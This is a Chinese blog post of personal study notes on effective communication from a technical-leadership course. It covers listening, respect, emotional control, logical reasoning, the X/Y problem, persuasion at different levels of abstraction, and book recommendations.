</blockquote>方伟团队管理者如何与员工更好的沟通?怎样做一个善于提问的好老板?当遇到困难问题何时应该反馈寻求帮助?【60天重学左耳】Day52-高效沟通:沟通方式、技巧以及技术2020-02-05T21:00:00+08:002020-02-05T21:00:00+08:00https://fangwei.fun/code/2020/02/05/cxze60-day52<p><strong>人与人之间沟通,有哪些比较好的沟通方式和沟通技巧?有没有更深层次的沟通技术呢?</strong></p>
<!--more-->
<p>打卡Day52:今天学习了《101|高效沟通:沟通方式及技巧》和《102|高效沟通:沟通技术》,我的收获如下:</p>
<h2 id="沟通方式">沟通方式</h2>
<h3 id="尊重">尊重</h3>
<ul>
<li>我可以不同意你,但是会捍卫你说话的权利。</li>
<li>赢得对方的尊重需要先尊重对方。</li>
<li>要和对方有观点上的交互,甚至是碰撞。</li>
</ul>
<p><strong>沟通的目的不是为了附和对方,而是产生一种更完整更全面的认知。</strong></p>
<h3 id="倾听">倾听</h3>
<ul>
<li>获得更多信息。</li>
<li>对对方有更多的了解。</li>
<li>让对方感觉到被尊重。</li>
</ul>
<p><strong>倾听不仅仅只是听,还要思考。</strong>不要被表象所迷惑,有助于你做出正确的决定。</p>
<h3 id="情绪控制">情绪控制</h3>
<ul>
<li>不要过早或者过度打岔和反驳。</li>
<li><strong>求同存异,冷静客观。</strong>言语的力量是巨大的,杀伤力有时难以预估。</li>
</ul>
<p><strong>情绪是自己的,不是别人的,不应该被别人hack了。</strong></p>
<h2 id="沟通技巧">沟通技巧</h2>
<h3 id="引起对方的兴趣">引起对方的兴趣</h3>
<p><strong>只有利益,才能引起对方的兴趣。</strong>我这边有一个客户,这个客户的现金流比较大,一天的流水大概是 3-5 个亿……</p>
<h3 id="直达主题强化观点">直达主题,强化观点</h3>
<p><strong>过滤信息,简明扼要地表达。</strong>确定自己的目标,学会抓重点,知道自己要什么和不要什么,这样你要的才会更鲜明。当一些事情变得简明和鲜明起来时,你才会表现出有力量的观点和话语。而这些被强化过的观点和话语,只需要一句,就会在对方脑子里形成一个小爆点,要么击中了对方的软处(扎心),要么会让对方产生深度思考。只有这样,你的信息才算是真正地传达过去,并在对方的脑子里生根发芽,这就是所谓的影响力!</p>
<p><strong>当你开始把大量的信息提炼浓缩成“金句”的时候,你就真正开始成为沟通的高手了。</strong></p>
<h3 id="基于数据和事实">基于数据和事实</h3>
<p>少说“可能、也许、我觉得就这样”等字眼,你最好通过数据和证据,通过权威的引用和证词,通过相关的实例和亲身的事例来让你的观点有不可被辩驳不可被质疑的特性。</p>
<h2 id="沟通技术">沟通技术</h2>
<h3 id="逻辑">逻辑</h3>
<p><strong>有逻辑的表达,更容易说服对方。</strong>逻辑是一门科学,也是一门数学。谁是谁的充分条件、必要条件或充要条件,以及有没有关联关系,有没有因果关系等,这些东西你要做到心中有数,当对方的表达中出现逻辑错误时,你可以随时指出来。</p>
<blockquote>
<ul>
<li>例1:年满30岁是成为美国参议员的必要条件。如果他是参议员,他必定年满30岁。</li>
<li>例2:一个数字能被4整除,是成为偶数的充分(但不必要)条件。能被2整除,则是充分及必要条件。</li>
<li>例3:三角形三边长相等、三角形三内角相等,互为充分必要条件。
<a href="https://zh.wikipedia.org/wiki/%E5%85%85%E5%88%86%E5%BF%85%E8%A6%81%E6%9D%A1%E4%BB%B6">充分必要条件</a></li>
</ul>
</blockquote>
<h3 id="信息">信息</h3>
<p><strong>信息要全面、准确。</strong>重点说一下X/Y问题。取文件的扩展名,这叫X,取文件名的最后3个字符,这叫Y。他想知道 X,但不知道该怎么说,于是就说成了Y,导致别人都去解决一个不存在的问题。这叫X/Y Problem。</p>
<p><strong>这个世界上到处都是X/Y问题。</strong>有些公司找我说,我们要做分布式架构,我们要做大中台,我们要做线下线上融合……这些问题都是Y问题。要解的真实问题才是X问题,手段都是Y问题。</p>
<p><strong>当你了解了X问题后,你就要到源头,来质疑或是改良他的Y问题,甚至提出Z方案。</strong></p>
<blockquote>
<p><strong>感想:</strong>“对于程序员来说,不能为了技术而技术,还是要着眼于真实的业务问题,也就是X问题。</p>
</blockquote>
<h3 id="维度">维度</h3>
<p>低维度反驳,越细节越好。高维度说服,越宏观越好。</p>
<p>你跟别人相同的东西一定是高维度的,这就是大同。<strong>大同的东西,更容易让人产生共鸣,从而容易达成默契和共识。</strong></p>
<p>能够站在更高的维度来沟通是我们需要努力的目标。</p>
<h3 id="共同">共同</h3>
<ul>
<li><strong>共情</strong>,拉近距离。</li>
<li><strong>共享</strong>,分享观点。</li>
<li><strong>共利</strong>,寻求利益。</li>
</ul>
<p>以上三点不断循环,一点一点达成<strong>共识</strong>。</p>
<p><strong>换位思考</strong>。</p>
<h3 id="三本书">三本书</h3>
<p><strong>无论干什么,你一定要有一个非常犀利的观点,也就是金句。</strong>如何得到这些金句呢?一定要多看书。你到那些公众号或者知乎里面看一些抖机灵的内容是没有用的。抖机灵的金句没有用。一定要是有思想深度的金句,才有力量。推荐你看三本书:</p>
<p>《<a href="https://book.douban.com/subject/26871359/">清醒思考的艺术</a>》。以显微镜般的观察发现人们常犯的52个思维错误。
《<a href="https://book.douban.com/subject/24754537/">简单逻辑学</a>》。以其简练而又充满趣味的笔触,将逻辑学活化为一种艺术。
《<a href="https://book.douban.com/subject/5320866/">重来</a>》。开拓眼界,打破既有的思维模式。</p>
<p>这三本书对我影响很大,也建议你好好读读,能改善你的思维,炼就你的火眼金睛。你会发现自己和别人不在一个频道上,你能看到事物更多的侧面,在阐述观点时,会比别人更加深刻、犀利和有见地。</p>
<blockquote>
<p><strong>感想:</strong>“知识就是力量,一定要多读书,并敢于实践。</p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/32796">https://time.geekbang.org/column/article/32796</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/32902">https://time.geekbang.org/column/article/32902</a></p>
</blockquote>方伟人与人之间沟通,有哪些比较好的沟通方式和沟通技巧?有没有更深层次的沟通技术呢?